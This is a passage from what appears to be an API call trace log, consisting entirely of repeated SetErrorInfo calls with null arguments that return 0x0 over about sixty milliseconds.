(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.953] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.953] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.953] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.953] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.953] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.953] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.954] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.956] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.956] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.956] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.956] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.956] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.956] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.956] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.957] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.958] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.958] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.958] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.958] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.958] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.958] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.958] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.959] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.959] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.959] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.959] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.959] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.959] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.960] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.964] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.965] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.965] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.965] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.965] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.965] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.965] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.966] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.966] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.966] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.966] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.966] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.966] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.967] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.967] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.967] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.967] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.967] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.968] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.968] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.968] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.968] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.968] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.968] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.969] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.969] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.969] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.969] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.970] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.972] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.972] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.972] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.972] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.972] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.972] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.972] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.973] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.974] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.975] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.975] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.975] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.975] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.975] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.975] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.976] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.977] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.977] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.977] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.977] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.977] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.977] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.977] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.978] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.978] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.978] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.978] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.978] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.979] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.979] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.979] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.979] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.979] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.979] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.981] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.982] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.982] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.982] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.982] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.982] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.982] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.983] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.983] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.983] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.983] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.983] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.983] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.983] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.984] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.986] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.986] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.986] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.986] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.986] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.986] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.988] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.988] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.988] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.988] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.988] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.988] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.989] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.989] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.989] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.989] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.989] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.989] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.990] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.990] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.990] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.990] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.990] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.990] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.991] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.991] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.991] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.994] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.994] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.994] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.994] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.994] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.994] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.997] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.997] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.997] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.997] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.997] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.998] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.998] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.998] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.998] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.998] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.998] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.999] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.999] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.999] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.999] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.999] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.999] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.999] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.000] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.000] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.000] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.000] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.000] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.000] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.001] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.001] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.001] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.001] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.001] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.001] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.002] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.002] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.002] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.002] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.002] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.002] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.002] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.003] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.004] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.004] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.004] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.004] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.004] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.004] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.005] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.005] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.005] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.005] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.005] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.005] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.006] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.006] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.006] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.006] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.006] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.006] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.007] SetErrorInfo 